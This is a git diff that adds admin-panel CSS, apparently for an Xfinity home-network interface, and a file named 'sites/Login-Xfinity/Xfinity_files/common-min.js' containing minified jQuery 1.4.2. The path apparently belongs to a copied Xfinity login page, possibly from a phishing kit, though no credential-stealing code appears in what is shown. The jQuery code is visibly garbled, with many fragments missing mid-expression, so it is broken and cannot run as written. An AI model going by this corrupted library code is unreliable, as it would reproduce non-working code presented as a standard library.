a.folder-open:hover{background-position:20px -110px!important;}#nav a.top-level{border:none;font-size:1.2em;background:url(../img/arrows_nav.png) no-repeat 4px 1px;padding-left:15px;}#nav a.top-level-active{background-color:#838c91;color:#fff!important;background:#838c91 url(../img/arrows_nav.png) no-repeat 4px -179px;padding-left:15px;}#educational-tip{clear:both;background:#fafafa;color:#838c91;border:solid 8px #fff;-moz-box-shadow:0 0 12px 0 #e0e0e0;-webkit-box-shadow:0 0 12px #e0e0e0;margin:0 8px 15px;position:relative;}#educational-tip h2{color:#555;font-weight:normal;font-size:.8em;margin-bottom:12px;}#educational-tip .tip{font-weight:bold;color:#838c91;}#educational-tip p{padding:8px;margin:0;width:600px;}#educational-tip .hidden{display:none;}#educational-tip a.tip-more{font-size:.8em;position:absolute;top:3px;right:6px;}.module{background:#fff;width:684px;margin:8px;padding:8px;overflow:hidden;position:relative;-moz-box-shadow:0 0 12px 0 #e0e0e0;-webkit-box-shadow:0 0 12px #e0e0e0;position:relative;}.module h2{background:#39baf1;color:#fff;padding:10px;margin-bottom:8px;}.block{width:324px;min-height:136px;display:inline-block;vertical-align:top;}.ff2{width:324px;min-height:136px;display:-moz-inline-stack!important;overflow:visible!important;}.block div.ff2fix{width:334px;position:relative;clear:both;}#home-network h2{background:#f85f01;}#internet-usage h2{background:#f85f01;}#home-automation h2{background:#f85f01;margin-bottom:0;}#network-updates h2{background:#f85f01;margin-bottom:0;}#software h2{background:#f85f01;margin-bottom:0;}#internet-usage .chart{float:right;width:185px;height:48px;border:solid 2px #ccc;background:#f9f9f9;overflow:hidden;}#internet-usage .chart li{float:left;width:16px;height:48px;margin:0 5px;text-indent:-9999px;background-color:#39BAF1;-moz-box-shadow:0 0 5px 0 #999;-webkit-box-shadow:0 0 5px #999;}#network-updates #recent_network_updates{position:relative;}#network-updates #recent_network_updates select{position:absolute;top:-26px;right:15px;}#network-updates h3 .value{color:#ef4416;}#software td{width:50%;padding:5px 6px 3px;}.form-row{clear:both;overflow:hidden;padding:8px;}.form-row .on-off{margin-right:10px;}.form-btn{margin:8px;}.module .form-btn{margin:8px 0 0;padding-left:233px;}.module .btn-group{padding:15px 0 0;min-height:23px;} +.odd,.odd +.on-off +{ + background-color:#ededed; +} +.odd1 +{ + background-color:#ededed; +} +.form-row label,.form-row .setLabel,.form-row .readonlyLabel{font-weight:bold;font-size:inherit!important;}.forms label,.forms .setLabel,.forms .readonlyLabel{display:block;float:left;font-weight:bold;line-height:1.4em;margin:4px 5px 0 0;text-align:right;width:220px;}.forms .readonlyValue{display:block;float:left;line-height:1.4em;margin:4px 5px 0 0;}.block label,.block .setLabel,.block .readonlyLabel{width:125px;}.form-row .checkbox,.form-row .group,.forms .value{display:inline;float:left;margin:4px 0 0 4px;line-height:1.4em;font-weight:bold;}#restore .value{width:435px;}.form-row label.radio,.form-row label.checkbox{float:none;display:inline;margin-left:0;padding:0 5px 0 0;text-align:left;width:auto;}.form-row .text{border:solid 1px #cecece;padding:4px 5px;}.form-row input.smallInput{width:25px;}.form-row p.error{font-size:.9em;margin:0;padding:8px 8px 8px 225px;}.select-row{clear:both;overflow:hidden;padding:8px;}.select-row .readonlyLabel{float:left;margin-right:10px;line-height:28px;font-size:1.2em;font-weight:bold;color:#333;width:120px;text-align:right;}.select-row .label{width:auto!important;}.select-row .value{float:left;line-height:40px;}.footnote{padding:8px;font-size:.8em;}.forms .footnote{padding-left:225px;float:left;}.forms .summary{padding:8px;color:#000;font-weight:bold;}.forms .combo-group li{padding:4px 0;overflow:hidden;}.combo-group li{margin:10px 0;padding:10px 5px;color:#444;overflow:hidden;-moz-border-radius:4px;-webkit-border-radius:4px;}.combo-group li p{margin-left:25px;}.combo-group li .checkbox{margin-left:225px;}.combo-group li label,.combo-group .label{font-weight:bold;}.ext-optgroup label{color:#222;font-weight:bold;font-size:1.3em;}#notification.combo-group{overflow:hidden;margin-bottom:10px;}#notification.combo-group li{float:left;padding:0 20px 0 0;margin:0;}.error{color:#F00;}.disabled{color:#ccc!important;}p.more{margin:8px 8px 0;text-align:right;}table{border-collapse:collapse;clear:both;width:100%;background-color:#ededed;}table .on-off{background-color:#ededed;}table.odd,table .odd,table .odd th,table .odd td,table.odd .on-off{background-color:#fff!important;}table thead,table th{text-align:left;font-weight:bold;}table th{font-size:1em;padding:5px 6px 3px;}table td{font-size:1em;padding:3px 4px;}.data h2{margin-bottom:0;}table.data th{background:#39baf1;color:#fff;}table th.row-label{background-color:transparent;color:#444;width:20%;border:0;}.comcast-network th.row-label{text-align:right;}table th.alt{width:inherit!important;}#home-automation table td.value{width:20px;}table .delete,table .edit{text-align:right;width:40px;}table td.delete{text-align:center!important;}table td.save{width:110px;text-align:center!important;}table.data th,table.data td{padding:8px;}table.data td.delete{width:28px;}table.data .url,table.data .keyword,table.data .when,table.data .computer_name,table.data .ip{width:45%;}table.data .number{width:15px;}table#blocked-apps .apps,table#blocked-services .services{width:50%;}table#blocked-services .when{width:30%;}table#blocked-services .port{width:10%;}table.wireless .name,table.wireless .macaddress{width:50%;}table.wireless .channel,table.wireless .protocols,table.wireless .security{width:100px;}table#email_features,table#add_allowed_device,table#samba_permissions{clear:none;float:right;margin-right:-10px;width:452px;}table#samba_permissions th{width:50%;}table#trusted_computers .computer_name,table#trusted_computers .ip{width:200px;}table#trusted_computers .trusted{width:100px;}table#add_allowed_device td{vertical-align:top;}table#add_allowed_device div.error{font-size:.9em;margin:0;padding:8px 0;}.btn,a.btn{padding:3px 10px;background:#fff url(../img/btn_bg.png) repeat-x 0 -14px;color:#555;text-decoration:none;border:solid 1px #d0d0d0;cursor:pointer;outline:0;text-transform:uppercase;font-weight:bold;font-size:11px;}a.btn{padding:4px 10px;}.btn:hover,a.btn:hover{background:#fff url(../img/btn_bg.png) repeat-x 0 bottom;color:#ffe51e;outline:0;}.alt,a.alt{background:#999;color:#fff;}.form-btn input,.form-btn a{margin-right:15px;}.btn-group{padding:15px 0;}.button{position:absolute;top:11px;right:13px;}.ff2 .button{top:2px;right:10px;}.modal-overlay{position:fixed;top:0;left:0;height:100%;width:100%;background:#000;opacity:.4;}.modal-dialog{position:fixed;top:60px;left:50%;width:200px;margin-left:-120px;padding:20px;background:#fff;}.hidden{display:none;}#login{width:375px;}#login label{width:80px;}#login div.error{padding-left:8px;}#login p.error{padding-left:90px;}#login .text{width:500px;}#login .form-btn{text-align:right;margin:0 15px 10px;}#password .form-btn{padding-left:138px;}#computers-edit label,#computers-edit .readonlyLabel{width:300px;}#time_frame,#log_type{margin-right:30px;}.ui-helper-hidden{display:none;}.ui-helper-hidden-accessible{position:absolute;left:-99999999px;}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none;}.ui-helper-clearfix:after{content:".";display:block;height:0;clear:both;visibility:hidden;}.ui-helper-clearfix{display:inline-block;}/* required comment for clearfix to work in Opera \*/ * html .ui-helper-clearfix{height:1%;}.ui-helper-clearfix{display:block;}/* end clearfix */ .ui-helper-zfix{width:100%;height:100%;top:0;left:0;position:absolute;opacity:0;filter:Alpha(Opacity=0);}.ui-state-disabled{cursor:default!important;}.ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat;}.ui-widget-overlay{position:absolute;top:0;left:0;width:100%;height:100%;}.ui-timepickr{position:absolute;width:480px;}.ui-timepickr-row{margin:0;padding:0;margin-top:2px;display:none;position:relative;}.ui-timepickr-button{float:left;margin:0;padding:0;list-style:none;list-style-type:none;}.ui-timepickr-button span{font-size:.7em;padding:4px 6px 4px 6px;margin-left:2px;text-align:center;cursor:pointer;display:block;text-align:center;font-weight:bold;border:solid 1px #222;-moz-border-radius:3px;-webkit-border-radius:3px;background:#444;color:#fff;}.ui-timepickr-button span.ui-state-hover{color:#000;background:#9CCD00;}#security-level li{margin:10px 0;padding:10px 5px;color:#444;-moz-border-radius:4px;-webkit-border-radius:4px;}#security-level .label{color:#222;font-weight:bold;font-size:1.3em;cursor:pointer;text-decoration:underline;}#security-level li p{margin-left:25px;}#security-level li dl{margin:10px 25px;}#security-level li dl dl{margin:0;}#security-level li dt{font-weight:bold;}#security-level li dd{margin:5px 25px;}#security-level li dd dd{margin:5px 0;}#security-level #max{background:#9ccd00;border:solid 5px #9ccd00;}#security-level #max:hover{border:solid 5px #759900;}#security-level #medium{background:#cde67f;border:solid 5px #cde67f;}#security-level #medium:hover{border:solid 5px #9eb362;}#security-level #low{background:#e1f0b2;border:solid 5px #e1f0b2;}#security-level #low:hover{border:solid 5px #a7b384;}#security-level #custom{background:#ebebeb;border:solid 5px #ebebeb;}#security-level #custom:hover{border:solid 5px #cecece;}#weekday{padding-left:230px;}#weekday input{margin-right:10px;}.select_all_none{font-size:.9em;margin-top:-20px;padding-left:233px;}.radio-btns li{display:inline;}.radio-btns label{display:inline;font-weight:normal;float:none;width:auto;}.radiolist{overflow:hidden;background:#9e9e9e;padding:3px 2px;float:left;}.radiolist li{float:left;margin:0 2px;width:40px;height:20px;position:relative;z-index:1;color:#888;border:solid 1px #eee;background:#eee url(../img/gradient.png) repeat-x 0 bottom;font-size:.9em;}.radiolist li label{display:block;text-align:center;line-height:20px;width:100%;height:20px;z-index:5;cursor:pointer;margin:0!important;}.radiolist li#off.selected,.radiolist li#off.selected label{background-color:#e6411a;color:#fff!important;text-shadow:0 1px 0 #9f0c00;}.radiolist li#off.selected{border:solid 1px #aa1f00;}.radiolist li.selected{background:#92c700;border:solid 1px #6da006;color:#fff;text-shadow:0 1px 1px #5a9007;}.radiolist li.selected label{font-weight:bold;}li.selected.percent-100,li.selected.percent-75,li.selected.percent-50,li.selected.percent-25{color:#444;border:solid 1px #666;text-shadow:0 1px 1px #fff!important;}li.selected.percent-100{background-color:#ffe61e;}li.selected.percent-75{background-color:#ffec56;}li.selected.percent-50{background-color:#fff28e;}li.selected.percent-25{background-color:#fff9c7;}.radiolist li input{display:none;}.radiolist li.selected a.radio-deselect{display:block!important;}.enable li,.scheduling li{width:60px;}#popup_container{min-width:300px;max-width:600px;background:#FFF;border:solid 8px #fff;color:#444;-moz-box-shadow:0 0 12px 0 #444;-webkit-box-shadow:0 0 12px #444;}#popup_title{background:#A46DD3;color:#fff;padding:10px;margin-bottom:8px;}#popup_message{font-size:1.1em;background-color:#ededed;padding:20px 10px;}#popup_panel{text-align:right;padding:8px 0 0;}#popup_panel input{margin-left:15px;}#media-library .tabs{overflow:hidden;background-color:#e0e0e0;height:24px;border:solid 4px #e0e0e0;border-bottom:0;}#media-library .tabs li{float:left;line-height:24px;font-size:.8em;}#media-library .tabs li a{padding:0 10px;border-right:solid 1px #cecece;color:#3e3e3e;font-weight:bold;text-decoration:none;}#media-library .tabs li.selected{background-color:#3e3e3e;color:#fff;}#media-library .tabs li.selected a{color:#fff;border-right:0;}#media-library .sub-tabs{background-color:#3e3e3e;color:#fff;overflow:hidden;}#media-library .sub-tabs li{float:left;line-height:28px;font-size:.8em;}#media-library .sub-tabs li a{padding:0 10px;color:#fff;font-weight:bold;text-decoration:none;}#media-library .sub-tabs li.selected a{color:#39BAF1;} + +#nav li li li a.dis_a { color:#DDDDDD; padding-left: 30px; } +#nav li li li a.dis_a:link { color:#DDDDDD; } +#nav li li li a.dis_a:visited { color:#DDDDDD; } +#nav li li li a.dis_a:hover { color:#DDDDDD; } + +#nav li li a.dis_a { color:#DDDDDD; } +#nav li li a.dis_a:link { color:#DDDDDD; } +#nav li li a.dis_a:visited { color:#DDDDDD; } +#nav li li a.dis_a:hover { color:#DDDDDD; } + +#nav a.dis-top-level{border:none;font-size:1.2em;background:url(../img/arrows_nav.png) no-repeat 4px 1px;padding-left:15px; color:#DDDDDD;} +#nav a.dis-top-level-active{background-color:#F1F1F1;color:#DDDDDD;!important;background:#838c91 url(../img/arrows_nav.png) no-repeat 4px -179px;padding-left:15px;} +#nav a.dis-top-level:link{color:#DDDDDD;} +#nav a.dis-top-level:visited{color:#DDDDDD;} +#nav a.dis-top-level:hover{color:#DDDDDD;} + +.btn_dis,a.btn_dis{padding:3px 10px;background:#fff url(../img/btn_bg.png) repeat-x 0 -14px;color:#ccc!important;text-decoration:none;border:solid 1px #d0d0d0;cursor: default;outline:0;text-transform:uppercase;font-weight:bold;font-size:11px;} +a.btn_dis{padding:4px 10px;} +.btn_dis:hover,a.btn_dis:hover{color:#ccc!important;outline:0;cursor: default;} + diff --git a/sites/Login-Xfinity/Xfinity_files/common-min.js b/sites/Login-Xfinity/Xfinity_files/common-min.js new file mode 100755 index 0000000..799fea0 --- /dev/null +++ b/sites/Login-Xfinity/Xfinity_files/common-min.js @@ -0,0 +1,16 @@ +/*! + * jQuery JavaScript Library v1.4.2 + * http://jquery.com/ + * + * Copyright 2010, John Resig + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * Includes Sizzle.js + * http://sizzlejs.com/ + * Copyright 2010, The Dojo Foundation + * Released under the MIT, BSD, and GPL Licenses. + * + * Date: Sat Feb 13 22:33:48 2010 -0500 + */ +(function(A,w){function ma(){if(!c.isReady){try{s.documentElement.doScroll("left")}catch(a){setTimeout(ma,1);return}c.ready()}}function Qa(a,b){b.src?c.ajax({url:b.src,async:false,dataType:"script"}):c.globalEval(b.text||b.textContent||b.innerHTML||"");b.parentNode&&b.parentNode.removeChild(b)}function X(a,b,d,f,e,j){var i=a.length;if(typeof b==="object"){for(var o in b)X(a,o,b[o],f,e,d);return a}if(d!==w){f=!j&&f&&c.isFunction(d);for(o=0;o)[^>]*$|^#([\w-]+)$/,Ua=/^.[^:#\[\.,]*$/,Va=/\S/,Wa=/^(\s|\u00A0)+|(\s|\u00A0)+$/g,Xa=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,P=navigator.userAgent,xa=false,Q=[],L,$=Object.prototype.toString,aa=Object.prototype.hasOwnProperty,ba=Array.prototype.push,R=Array.prototype.slice,ya=Array.prototype.indexOf;c.fn=c.prototype={init:function(a,b){var d,f;if(!a)return this;if(a.nodeType){this.context=this[0]=a;this.length=1;return this}if(a==="body"&&!b){this.context=s;this[0]=s.body;this.selector="body";this.length=1;return this}if(typeof a==="string")if((d=Ta.exec(a))&&(d[1]||!b))if(d[1]){f=b?b.ownerDocument||b:s;if(a=Xa.exec(a))if(c.isPlainObject(b)){a=[s.createElement(a[1])];c.fn.attr.call(a,b,true)}else a=[f.createElement(a[1])];else{a=sa([d[1]],[f]);a=(a.cacheable?a.fragment.cloneNode(true):a.fragment).childNodes}return c.merge(this,a)}else{if(b=s.getElementById(d[2])){if(b.id!==d[2])return T.find(a);this.length=1;this[0]=b}this.context=s;this.selector=a;return this}else if(!b&&/^\w+$/.test(a)){this.selector=a;this.context=s;a=s.getElementsByTagName(a);return c.merge(this,a)}else return!b||b.jquery?(b||T).find(a):c(b).find(a);else if(c.isFunction(a))return T.ready(a);if(a.selector!==w){this.selector=a.selector;this.context=a.context}return c.makeArray(a,this)},selector:"",jquery:"1.4.2",length:0,size:function(){return this.length},toArray:function(){return R.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this.slice(a)[0]:this[a]},pushStack:function(a,b,d){var f=c();c.isArray(a)?ba.apply(f,a):c.merge(f,a);f.prevObject=this;f.context=this.context;if(b==="find")f.selector=this.selector+(this.selector?" ":"")+d;else if(b)f.selector=this.selector+"."+b+"("+d+")";return f},each:function(a,b){return c.each(this,a,b)},ready:function(a){c.bindReady();if(c.isReady)a.call(s,c);else Q&&Q.push(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(R.apply(this,arguments),"slice",R.call(arguments).join(","))},map:function(a){return this.pushStack(c.map(this,function(b,d){return a.call(b,d,b)}))},end:function(){return this.prevObject||c(null)},push:ba,sort:[].sort,splice:[].splice};c.fn.init.prototype=c.fn;c.extend=c.fn.extend=function(){var a=arguments[0]||{},b=1,d=arguments.length,f=false,e,j,i,o;if(typeof a==="boolean"){f=a;a=arguments[1]||{};b=2}if(typeof a!=="object"&&!c.isFunction(a))a={};if(d===b){a=this;--b}for(;b
a";var e=d.getElementsByTagName("*"),j=d.getElementsByTagName("a")[0];if(!(!e||!e.length||!j)){c.support={leadingWhitespace:d.firstChild.nodeType===3,tbody:!d.getElementsByTagName("tbody").length,htmlSerialize:!!d.getElementsByTagName("link").length,style:/red/.test(j.getAttribute("style")),hrefNormalized:j.getAttribute("href")==="/a",opacity:/^0.55$/.test(j.style.opacity),cssFloat:!!j.style.cssFloat,checkOn:d.getElementsByTagName("input")[0].value==="on",optSelected:s.createElement("select").appendChild(s.createElement("option")).selected,parentNode:d.removeChild(d.appendChild(s.createElement("div"))).parentNode===null,deleteExpando:true,checkClone:false,scriptEval:false,noCloneEvent:true,boxModel:null};b.type="text/javascript";try{b.appendChild(s.createTextNode("window."+f+"=1;"))}catch(i){}a.insertBefore(b,a.firstChild);if(A[f]){c.support.scriptEval=true;delete A[f]}try{delete b.test}catch(o){c.support.deleteExpando=false}a.removeChild(b);if(d.attachEvent&&d.fireEvent){d.attachEvent("onclick",function k(){c.support.noCloneEvent=false;d.detachEvent("onclick",k)});d.cloneNode(true).fireEvent("onclick")}d=s.createElement("div");d.innerHTML="";a=s.createDocumentFragment();a.appendChild(d.firstChild);c.support.checkClone=a.cloneNode(true).cloneNode(true).lastChild.checked;c(function(){var k=s.createElement("div");k.style.width=k.style.paddingLeft="1px";s.body.appendChild(k);c.boxModel=c.support.boxModel=k.offsetWidth===2;s.body.removeChild(k).style.display="none"});a=function(k){var n=s.createElement("div");k="on"+k;var r=k in n;if(!r){n.setAttribute(k,"return;");r=typeof n[k]==="function"}return r};c.support.submitBubbles=a("submit");c.support.changeBubbles=a("change");a=b=d=e=j=null}})();c.props={"for":"htmlFor","class":"className",readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing",rowspan:"rowSpan",colspan:"colSpan",tabindex:"tabIndex",usemap:"useMap",frameborder:"frameBorder"};var G="jQuery"+J(),Ya=0,za={};c.extend({cache:{},expando:G,noData:{embed:true,object:true,applet:true},data:function(a,b,d){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==A?za:a;var f=a[G],e=c.cache;if(!f&&typeof b==="string"&&d===w)return null;f||(f=++Ya);if(typeof b==="object"){a[G]=f;e[f]=c.extend(true,{},b)}else if(!e[f]){a[G]=f;e[f]={}}a=e[f];if(d!==w)a[b]=d;return typeof b==="string"?a[b]:a}},removeData:function(a,b){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==A?za:a;var d=a[G],f=c.cache,e=f[d];if(b){if(e){delete e[b];c.isEmptyObject(e)&&c.removeData(a)}}else{if(c.support.deleteExpando)delete a[c.expando];else a.removeAttribute&&a.removeAttribute(c.expando);delete f[d]}}}});c.fn.extend({data:function(a,b){if(typeof a==="undefined"&&this.length)return c.data(this[0]);else if(typeof a==="object")return this.each(function(){c.data(this,a)});var d=a.split(".");d[1]=d[1]?"."+d[1]:"";if(b===w){var f=this.triggerHandler("getData"+d[1]+"!",[d[0]]);if(f===w&&this.length)f=c.data(this[0],a);return f===w&&d[1]?this.data(d[0]):f}else return this.trigger("setData"+d[1]+"!",[d[0],b]).each(function(){c.data(this,a,b)})},removeData:function(a){return this.each(function(){c.removeData(this,a)})}});c.extend({queue:function(a,b,d){if(a){b=(b||"fx")+"queue";var f=c.data(a,b);if(!d)return f||[];if(!f||c.isArray(d))f=c.data(a,b,c.makeArray(d));else f.push(d);return f}},dequeue:function(a,b){b=b||"fx";var d=c.queue(a,b),f=d.shift();if(f==="inprogress")f=d.shift();if(f){b==="fx"&&d.unshift("inprogress");f.call(a,function(){c.dequeue(a,b)})}}});c.fn.extend({queue:function(a,b){if(typeof a!=="string"){b=a;a="fx"}if(b===w)return c.queue(this[0],a);return this.each(function(){var d=c.queue(this,a,b);a==="fx"&&d[0]!=="inprogress"&&c.dequeue(this,a)})},dequeue:function(a){return this.each(function(){c.dequeue(this,a)})},delay:function(a,b){a=c.fx?c.fx.speeds[a]||a:a;b=b||"fx";return this.queue(b,function(){var d=this;setTimeout(function(){c.dequeue(d,b)},a)})},clearQueue:function(a){return this.queue(a||"fx",[])}});var Aa=/[\n\t]/g,ca=/\s+/,Za=/\r/g,$a=/href|src|style/,ab=/(button|input)/i,bb=/(button|input|object|select|textarea)/i,cb=/^(a|area)$/i,Ba=/radio|checkbox/;c.fn.extend({attr:function(a,b){return X(this,a,b,true,c.attr)},removeAttr:function(a){return this.each(function(){c.attr(this,a,"");this.nodeType===1&&this.removeAttribute(a)})},addClass:function(a){if(c.isFunction(a))return this.each(function(n){var r=c(this);r.addClass(a.call(this,n,r.attr("class")))});if(a&&typeof a==="string")for(var b=(a||"").split(ca),d=0,f=this.length;d-1)return true;return false},val:function(a){if(a===w){var b=this[0];if(b){if(c.nodeName(b,"option"))return(b.attributes.value||{}).specified?b.value:b.text;if(c.nodeName(b,"select")){var d=b.selectedIndex,f=[],e=b.options;b=b.type==="select-one";if(d<0)return null;var j=b?d:0;for(d=b?d+1:e.length;j=0;else if(c.nodeName(this,"select")){var u=c.makeArray(r);c("option",this).each(function(){this.selected=c.inArray(c(this).val(),u)>=0});if(!u.length)this.selectedIndex=-1}else this.value=r}})}});c.extend({attrFn:{val:true,css:true,html:true,text:true,data:true,width:true,height:true,offset:true},attr:function(a,b,d,f){if(!a||a.nodeType===3||a.nodeType===8)return w;if(f&&b in c.attrFn)return c(a)[b](d);f=a.nodeType!==1||!c.isXMLDoc(a);var e=d!==w;b=f&&c.props[b]||b;if(a.nodeType===1){var j=$a.test(b);if(b in a&&f&&!j){if(e){b==="type"&&ab.test(a.nodeName)&&a.parentNode&&c.error("type property can't be changed");a[b]=d}if(c.nodeName(a,"form")&&a.getAttributeNode(b))return a.getAttributeNode(b).nodeValue;if(b==="tabIndex")return(b=a.getAttributeNode("tabIndex"))&&b.specified?b.value:bb.test(a.nodeName)||cb.test(a.nodeName)&&a.href?0:w;return a[b]}if(!c.support.style&&f&&b==="style"){if(e)a.style.cssText=""+d;return a.style.cssText}e&&a.setAttribute(b,""+d);a=!c.support.hrefNormalized&&f&&j?a.getAttribute(b,2):a.getAttribute(b);return a===null?w:a}return c.style(a,b,d)}});var O=/\.(.*)$/,db=function(a){return a.replace(/[^\w\s\.\|`]/g,function(b){return"\\"+b})};c.event={add:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){if(a.setInterval&&a!==A&&!a.frameElement)a=A;var e,j;if(d.handler){e=d;d=e.handler}if(!d.guid)d.guid=c.guid++;if(j=c.data(a)){var i=j.events=j.events||{},o=j.handle;if(!o)j.handle=o=function(){return typeof c!=="undefined"&&!c.event.triggered?c.event.handle.apply(o.elem,arguments):w};o.elem=a;b=b.split(" ");for(var k,n=0,r;k=b[n++];){j=e?c.extend({},e):{handler:d,data:f};if(k.indexOf(".")>-1){r=k.split(".");k=r.shift();j.namespace=r.slice(0).sort().join(".")}else{r=[];j.namespace=""}j.type=k;j.guid=d.guid;var u=i[k],z=c.event.special[k]||{};if(!u){u=i[k]=[];if(!z.setup||z.setup.call(a,f,r,o)===false)if(a.addEventListener)a.addEventListener(k,o,false);else a.attachEvent&&a.attachEvent("on"+k,o)}if(z.add){z.add.call(a,j);if(!j.handler.guid)j.handler.guid=d.guid}u.push(j);c.event.global[k]=true}a=null}}},global:{},remove:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){var e,j=0,i,o,k,n,r,u,z=c.data(a),C=z&&z.events;if(z&&C){if(b&&b.type){d=b.handler;b=b.type}if(!b||typeof b==="string"&&b.charAt(0)==="."){b=b||"";for(e in C)c.event.remove(a,e+b)}else{for(b=b.split(" ");e=b[j++];){n=e;i=e.indexOf(".")<0;o=[];if(!i){o=e.split(".");e=o.shift();k=new RegExp("(^|\\.)"+c.map(o.slice(0).sort(),db).join("\\.(?:.*\\.)?")+"(\\.|$)")}if(r=C[e])if(d){n=c.event.special[e]||{};for(B=f||0;B=0){a.type=e=e.slice(0,-1);a.exclusive=true}if(!d){a.stopPropagation();c.event.global[e]&&c.each(c.cache,function(){this.events&&this.events[e]&&c.event.trigger(a,b,this.handle.elem)})}if(!d||d.nodeType===3||d.nodeType===8)return w;a.result=w;a.target=d;b=c.makeArray(b);b.unshift(a)}a.currentTarget=d;(f=c.data(d,"handle"))&&f.apply(d,b);f=d.parentNode||d.ownerDocument;try{if(!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()]))if(d["on"+e]&&d["on"+e].apply(d,b)===false)a.result=false}catch(j){}if(!a.isPropagationStopped()&&f)c.event.trigger(a,b,f,true);else if(!a.isDefaultPrevented()){f=a.target;var i,o=c.nodeName(f,"a")&&e==="click",k=c.event.special[e]||{};if((!k._default||k._default.call(d,a)===false)&&!o&&!(f&&f.nodeName&&c.noData[f.nodeName.toLowerCase()])){try{if(f[e]){if(i=f["on"+e])f["on"+e]=null;c.event.triggered=true;f[e]()}}catch(n){}if(i)f["on"+e]=i;c.event.triggered=false}}},handle:function(a){var b,d,f,e;a=arguments[0]=c.event.fix(a||A.event);a.currentTarget=this;b=a.type.indexOf(".")<0&&!a.exclusive;if(!b){d=a.type.split(".");a.type=d.shift();f=new RegExp("(^|\\.)"+d.slice(0).sort().join("\\.(?:.*\\.)?")+"(\\.|$)")}e=c.data(this,"events");d=e[a.type];if(e&&d){d=d.slice(0);e=0;for(var j=d.length;e-1?c.map(a.options,function(f){return f.selected}).join("-"):"";else if(a.nodeName.toLowerCase()==="select")d=a.selectedIndex;return d},fa=function(a,b){var d=a.target,f,e;if(!(!da.test(d.nodeName)||d.readOnly)){f=c.data(d,"_change_data");e=Fa(d);if(a.type!=="focusout"||d.type!=="radio")c.data(d,"_change_data",e);if(!(f===w||e===f))if(f!=null||e){a.type="change";return c.event.trigger(a,b,d)}}};c.event.special.change={filters:{focusout:fa,click:function(a){var b=a.target,d=b.type;if(d==="radio"||d==="checkbox"||b.nodeName.toLowerCase()==="select")return fa.call(this,a)},keydown:function(a){var b=a.target,d=b.type;if(a.keyCode===13&&b.nodeName.toLowerCase()!=="textarea"||a.keyCode===32&&(d==="checkbox"||d==="radio")||d==="select-multiple")return fa.call(this,a)},beforeactivate:function(a){a=a.target;c.data(a,"_change_data",Fa(a))}},setup:function(){if(this.type==="file")return false;for(var a in ea)c.event.add(this,a+".specialChange",ea[a]);return da.test(this.nodeName)},teardown:function(){c.event.remove(this,".specialChange");return da.test(this.nodeName)}};ea=c.event.special.change.filters}s.addEventListener&&c.each({focus:"focusin",blur:"focusout"},function(a,b){function d(f){f=c.event.fix(f);f.type=b;return c.event.handle.call(this,f)}c.event.special[b]={setup:function(){this.addEventListener(a,d,true)},teardown:function(){this.removeEventListener(a,d,true)}}});c.each(["bind","one"],function(a,b){c.fn[b]=function(d,f,e){if(typeof d==="object"){for(var j in d)this[b](j,f,d[j],e);return this}if(c.isFunction(f)){e=f;f=w}var i=b==="one"?c.proxy(e,function(k){c(this).unbind(k,i);return e.apply(this,arguments)}):e;if(d==="unload"&&b!=="one")this.one(d,f,e);else{j=0;for(var o=this.length;j0){y=t;break}}t=t[g]}m[q]=y}}}var f=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,e=0,j=Object.prototype.toString,i=false,o=true;[0,0].sort(function(){o=false;return 0});var k=function(g,h,l,m){l=l||[];var q=h=h||s;if(h.nodeType!==1&&h.nodeType!==9)return[];if(!g||typeof g!=="string")return l;for(var p=[],v,t,y,S,H=true,M=x(h),I=g;(f.exec(""),v=f.exec(I))!==null;){I=v[3];p.push(v[1]);if(v[2]){S=v[3];break}}if(p.length>1&&r.exec(g))if(p.length===2&&n.relative[p[0]])t=ga(p[0]+p[1],h);else for(t=n.relative[p[0]]?[h]:k(p.shift(),h);p.length;){g=p.shift();if(n.relative[g])g+=p.shift();t=ga(g,t)}else{if(!m&&p.length>1&&h.nodeType===9&&!M&&n.match.ID.test(p[0])&&!n.match.ID.test(p[p.length-1])){v=k.find(p.shift(),h,M);h=v.expr?k.filter(v.expr,v.set)[0]:v.set[0]}if(h){v=m?{expr:p.pop(),set:z(m)}:k.find(p.pop(),p.length===1&&(p[0]==="~"||p[0]==="+")&&h.parentNode?h.parentNode:h,M);t=v.expr?k.filter(v.expr,v.set):v.set;if(p.length>0)y=z(t);else H=false;for(;p.length;){var D=p.pop();v=D;if(n.relative[D])v=p.pop();else D="";if(v==null)v=h;n.relative[D](y,v,M)}}else y=[]}y||(y=t);y||k.error(D||g);if(j.call(y)==="[object Array]")if(H)if(h&&h.nodeType===1)for(g=0;y[g]!=null;g++){if(y[g]&&(y[g]===true||y[g].nodeType===1&&E(h,y[g])))l.push(t[g])}else for(g=0;y[g]!=null;g++)y[g]&&y[g].nodeType===1&&l.push(t[g]);else l.push.apply(l,y);else z(y,l);if(S){k(S,q,l,m);k.uniqueSort(l)}return l};k.uniqueSort=function(g){if(B){i=o;g.sort(B);if(i)for(var h=1;h":function(g,h){var l=typeof h==="string";if(l&&!/\W/.test(h)){h=h.toLowerCase();for(var m=0,q=g.length;m=0))l||m.push(v);else if(l)h[p]=false;return false},ID:function(g){return g[1].replace(/\\/g,"")},TAG:function(g){return g[1].toLowerCase()},CHILD:function(g){if(g[1]==="nth"){var h=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(g[2]==="even"&&"2n"||g[2]==="odd"&&"2n+1"||!/\D/.test(g[2])&&"0n+"+g[2]||g[2]);g[2]=h[1]+(h[2]||1)-0;g[3]=h[3]-0}g[0]=e++;return 